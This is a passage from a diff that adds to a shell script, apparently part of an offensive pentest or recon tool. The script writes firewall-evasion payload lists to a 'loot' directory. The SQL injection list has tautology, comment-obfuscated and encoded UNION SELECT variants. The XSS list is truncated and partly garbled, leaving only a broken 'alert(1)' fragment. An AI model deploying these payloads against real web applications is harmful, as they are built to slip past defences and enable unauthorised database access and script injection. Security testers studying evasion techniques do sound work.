payloads +echo -e "$OKBLUE[*]$RESET Testing SQL injection bypass techniques..." +cat > $LOOT_DIR/evasion-techniques/waf-bypass/sqli-bypass-payloads.txt << EOF +# WAF Bypass SQL Injection Payloads +' OR '1'='1 +%27%20OR%20%271%27%3D%271 +/**/OR/**/1=1 +' OR 1=1# +' OR '1'='1'/* +' OR 1=1 LIMIT 1-- +' OR 1=1-- - +'/**/OR/**/1=1-- +' OR 1=1%23 +' OR 1=1;%00 +' OR 1=1 UNION SELECT 1,2,3-- +/**/UNION/**/SELECT/**/1,2,3-- +UNION SELECT 1,2,3%23 +UNION SELECT 1,2,3;%00 +' UNION SELECT 1,2,3%0A +' UNION SELECT 1,2,3%0D%0A +EOF + +# XSS bypass payloads +echo -e "$OKBLUE[*]$RESET Testing XSS bypass techniques..." +cat > $LOOT_DIR/evasion-techniques/waf-bypass/xss-bypass-payloads.txt << EOF +# WAF Bypass XSS Payloads + +ipt>alert(1)ipt> + + + + + + + + +